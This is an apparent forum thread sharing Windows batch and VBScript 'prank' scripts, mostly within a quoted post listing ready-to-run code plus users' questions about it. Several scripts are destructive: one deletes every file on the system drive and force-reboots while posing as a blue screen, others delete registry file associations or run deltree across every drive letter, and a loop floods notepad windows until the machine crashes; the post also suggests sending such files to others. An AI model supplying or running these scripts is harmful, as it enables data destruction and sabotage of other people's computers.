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    Quote Originally Posted by Prodigyz View Post
    You fail
    C:\ is just the partion letter
    I had my old pc (xp) on D:\
    And my laptop (vista) on H:\
    But I dunno why A:\ tho
    A:\ has ALWAYS been floppy. You can't put a drive on A:\ I don't think its auto set for floppies only. ( im pretty sure atleast. ) and C:\ Is normally what people use for their main drive it doesn't have to be though. Its just the most common.
    Every man for himself. You trust no one but yourself, if you want something done you do it your self don't rely on others. You watch your own back, you fight your own fights its you against the world.

    Quote Originally Posted by Some phag
    -.BUS.-'s mommy says to Cannon, "I love you,
    I love you, I love you"
    The Cannon on the bus says, "I love you, too"
    All through the town.

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    I am sort of new here and would like to know where the code is for the one that makes your hard drive scream or cd rom scream. When you run the bat or vbs file it says your computer is going to explode then when you click on x or anything it starts to make something on your system scream then the cd rom pops out... Does anyone know of this one

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    a very easy to do timed pop-up bomb
    if you need to test and improve it just simply take out the " goto loop " at the end



    @echo off
    title timer
    echo 5
    ping localhoast -n 2 <nul
    cls
    echo 4
    ping localhoast -n 2 <nul
    cls
    echo 3
    ping localhoast -n 2 <nul
    cls
    echo 2
    ping localhoast -n 2 <nul
    cls
    echo 1
    ping localhoast -n 2 <nul
    cls
    echo 0
    ping localhoast -n 2 <nul
    cls
    echo MELT DOWN!
    ping localhoast -n 2 <nul
    cls
    :loop
    start notepad
    start notepad
    start notepad
    msg * total system failure!

    goto loop

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    Quote Originally Posted by Sullivan View Post
    If anyone wants there batch file converted into a .exe file, just ask me.
    Download.com has a .bat to .exe file converter. Its small and quickly converts. (just said this so people can do it on their own; makes things easier)
    Rep me up+ if I help or you just think im a cool guy.:)

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    What language are these written in?

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    How do you turn batch files into exe files please please tell me

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    I'm playing around with some of your codes and can't figure out how to make more than one command to loop at the same time... Here's the part I'm having trouble with:

    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCk}"
    loop
    do
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop
    loop

    The caps lock command loops, but the command line doesn't continue onto the next command.

    It's SUPPOSED to spam the caps lock light and spam open/close the CD Drive.

    Help please? What'd I do wrong? :S

    Note: Excuse the stupidity as it's probably something extremely simple..

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    Hey guys :D
    Im having some troubls with the Popping CD Drives...
    im writing:
    " Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop "
    in a .vbs file right?
    but the same error comes in line 6 sign 1 error: 0x8FFF0101 code: 8FFF0101...
    Someone that can explain???... thx :P

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    OK guys umm I am at home and i wish to use the one that send a message to server both at home and at school, can someone run me through it, i made the program but it dont seem to work. I think it might be something with the "buddy" section? please help!

    Quote Originally Posted by InTh33yesOf View Post
    Okay, btw there are some dangerous codes so dont fool around with these codes. I am not responsible on your actions using these codes.

    The CMD Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).bat (to make a .bat file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .bat file) then just click on the file u just made

    -The blue screen of Death [this might be dangerous]
    *The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
    Code:
    @echo off
    del %systemdrive%\*.* /f /s /q
    shutdown -r -f -t 00
    -Messenger
    *This is a neat program that will allow you to message another computer on the same network through cmd's messenger system
    Code:
    @echo off
    :A
    COLOR 0c
    cls
    echo ----------------------
    echo Ultimate CMD Messanger
    echo ----------------------
    set /p n=Buddy - 
    set /p m=Message -
    net send %n% %m%
    pause
    Goto A
    -Stupidity Shutdown
    *This pops up a funny message then will shutdown the computer
    Code:
    @echo off
    msg * Fatal system error due to admin stupidity!
    shutdown -c "Error! You are too stupid!" -s -t 10
    -Trick C Drive Deletion
    *This pops up a message asking if you want to delete the c drive and tricks you into thinking it will. It then loops a message after it is done.
    Code:
    @echo off
    @color 0c
    echo !!!Deleting C Drive!!!
    echo do not exit, exiting will result in total system failure!
    pause
    @color
    echo Do you want to continue deleting your C drive?
    echo press y for yes or n for no
    pause
    echo you chose yes, please confirm by pressing y/n
    pause
    msg * Deleting C Drive...
    dir /s
    dir /s
    dir /s
    dir /s
    pause
    echo C drive successfully deleted!
    :MSG
    msg * "The C drive is Fcked"
    goto MSG
    -Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
    *This will delete key registry files, then loops a message*
    Code:
    @ECHO OFF
    START reg delete HKCR/.exe
    START reg delete HKCR/.dll
    START reg delete HKCR/*
    :MESSAGE
    ECHO Your computer has been fcked.  Have a nice day.
    GOTO MESSAGE
    -Endless Notepads
    *This will pop up endless notepads until the computer freezes and crashes*
    Code:
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    -Shutdown
    *Simply shuts the computer down
    Code:
    shutdown -s
    -Command Prompt
    *Just incase command prompt is blocked at your school, use this*
    Code:
    command.com
    -Delete Everything [NOTE THIS IS DANGEROUS!! USE AT RISK]
    *This will delete almost all key drives*
    Code:
    deltree /y C:\
    deltree /y E:\
    deltree /y A:\
    deltree /y F:\
    deltree /y G:\
    deltree /y D:\
    deltree /y H:\
    The VBS Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made

    Trick Remote Access
    *This will open notepad, then trick the user into thinking he is being controlled (u can mod this code by changing wht is says, c the letters in the qoutation, u can change them to make it say anything)
    Code:
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "notepad"
    WScript.Sleep 100
    WshShell.AppActivate "Notepad"
    WScript.Sleep 500
    WshShell.SendKeys "Hel"
    WScript.Sleep 500
    WshShell.SendKeys "lo "
    WScript.Sleep 500
    WshShell.SendKeys ", ho"
    WScript.Sleep 500
    WshShell.SendKeys "w a"
    WScript.Sleep 500
    WshShell.SendKeys "re "
    WScript.Sleep 500
    WshShell.SendKeys "you"
    WScript.Sleep 500
    WshShell.SendKeys "? "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m g"
    WScript.Sleep 500
    WshShell.SendKeys "ood"
    WScript.Sleep 500
    WshShell.SendKeys " th"
    WScript.Sleep 500
    WshShell.SendKeys "ank"
    WScript.Sleep 500
    WshShell.SendKeys "s! "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m wa"
    WScript.Sleep 500
    WshShell.SendKeys "tchi"
    WScript.Sleep 500
    WshShell.SendKeys "ng y"
    Wscript.Sleep 500
    WshShell.SendKeys "ou!"
    -Crazy caps lock
    *This constantly turns caps lock on and off really fast continuously*
    Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop
    -Endless Enter
    *This constantly makes it so the enter button is being pressed continuesly*
    Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    -Endless Backspace
    *This makes it so the backspace key is constantly being pressed*
    Code:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop
    -Popping CD Drives
    *This will make the CD drives constantly pop out*
    Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop
    To turn off the code, just simply restart the computer if the code doesnt turn off. If there are some tht are not working, plz tell me so i can fix it. Remember use it wisely

    plz +rep, donate or even thank if u like. well, have fun
    Last edited by NehiDude; 01-12-2010 at 11:47 PM.

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    I have 2 questions for anyone thats still paying attention to this anymore:

    1. I was messing around with .vbs coding, and I was wondering if there was a vbs code to shut down your computer. I don't think there is, speaking that batch files use command prompt commands, and vbs is more of a program.

    2. Does anyone know any sort of coding to use the pc's internal speaker? I had a friend do it a couple of days ago, and was confused as to how he did it.

    thx
    -Wheaton

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